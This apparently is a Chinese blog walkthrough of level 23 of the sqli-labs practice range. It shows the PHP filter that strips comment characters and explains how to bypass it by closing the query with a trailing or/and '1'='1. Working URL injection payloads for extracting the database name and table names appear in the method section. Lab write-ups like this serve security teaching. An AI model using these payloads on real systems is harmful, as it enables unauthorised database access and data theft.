当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第23关 注释符过滤

一、审题

这一关开始进入了靶场的第二阶段:进阶注入。

看一下题目,乍一看和第一题很像,id传参试一试。

测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。

 二、思考

思考一下,单引号闭合,加了注释符还报错,说明注释符没有起到效果,推测注释符被过滤掉了。

悄悄查看一下源代码,果然是过滤了注释符号:

$reg = "/#/";           // 定义正则表达式,用于匹配字符 '#'
$reg1 = "/--/";         // 定义正则表达式,用于匹配连续的两个横线 '--'
$replace = "";          // 设置替换内容为空字符串,即删除匹配到的文本
$id = preg_replace($reg, $replace, $id); // 执行第一次替换:删除 $id 中所有的 '#' 字符
$id = preg_replace($reg1, $replace, $id); // 执行第二次替换:删除 $id 中所有的 '--' 字符串

我们利用注释符的目的是截断末尾,构造完整的闭合。

//源代码;
SELECT * FROM users WHERE id='$id' LIMIT 0,1//构造注释符;
SELECT * FROM users WHERE id='$id' union select 1,2,3 --+ 'LIMIT 0,1

现在的问题是,末尾的'LIMIT 0,1处理不了,这样语法就是不正确的。尝试构建完整闭合语法来实现注入。

SELECT * FROM users WHERE id='-1' union select 1,2,3 or '1' = '1 'LIMIT 0,1

这句话保持了语法完整,闭合了末尾单引号,用or构建了永真条件,'1'(字符串)比1(整数)更严谨。

三、做法

1.爆数据库名;

?id=-1'union select 1,database(),3 or '1'='1

2.爆表名;

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1

3.爆字段,爆数据。

注意:在爆表名中使用and会返回当前数据库中的表,使用or会返回所有表。这是and和or存在的逻辑差异,具体情况具体使用。

http://www.xdnf.cn/news/1130725.html

相关文章:

  • React -自定义hooks - 封装双向数据绑定
  • 自动控制原理知识地图:舵轮、路径与导航图
  • 2025年C++后端开发高频面试题深度解析:线程安全LRU缓存设计与实现
  • C# StringBuilder源码分析
  • 2025年Java最新社招面试八股文+技术场景题(金九银十)
  • Hadoop架构演进:从1.0到2.0的深度对比与优化解析
  • Hadoop(二)
  • QT技巧之快速搭建串口收发平台
  • Taro.getRandomValues() 用法详解
  • 有哪些好用的原型设计软件?墨刀、Axure等测评对比
  • Elasticsearch+Logstash+Kibana部署
  • Taro.eventCenter 用法详解与实战
  • 深入核心:理解Spring Boot的三大基石:起步依赖、自动配置与内嵌容器
  • 【Qt+error】error: use of undeclared identifier ‘MainWindow
  • uniapp各端通过webview实现互相通信
  • qt 中英文翻译 如何配置和使用
  • Spring AI 系列之十三 - RAG-加载本地嵌入模型
  • 在 CentOS 8 上彻底卸载 Kubernetes(k8s)
  • k8s之持久化存储流程
  • JavaScript 异步编程的终极指南:从回调到 Promise、Async/Await
  • 深入解析Linux进程地址空间与虚拟内存管理
  • vivo S30评测:用设计诠释科技,以性能书写情怀
  • 电脑安装 Win10 提示无法在当前分区上安装Windows的解决办法
  • openEuler 22.03 LTS Rootless Docker 安装指南
  • Apache IoTDB(1):时序数据库介绍与单机版安装部署指南
  • 免费MCP服务:Excel CSV 转 JSON MCP by WTSolutions 文档
  • 计算机网络:(九)网络层(下)超详细讲解互联网的路由选择协议、IPV6与IP多播
  • 微服务中token鉴权设计的4种方式
  • STM32 | 定时器 PWM 呼吸灯
  • Python 程序设计讲义(2):Python 概述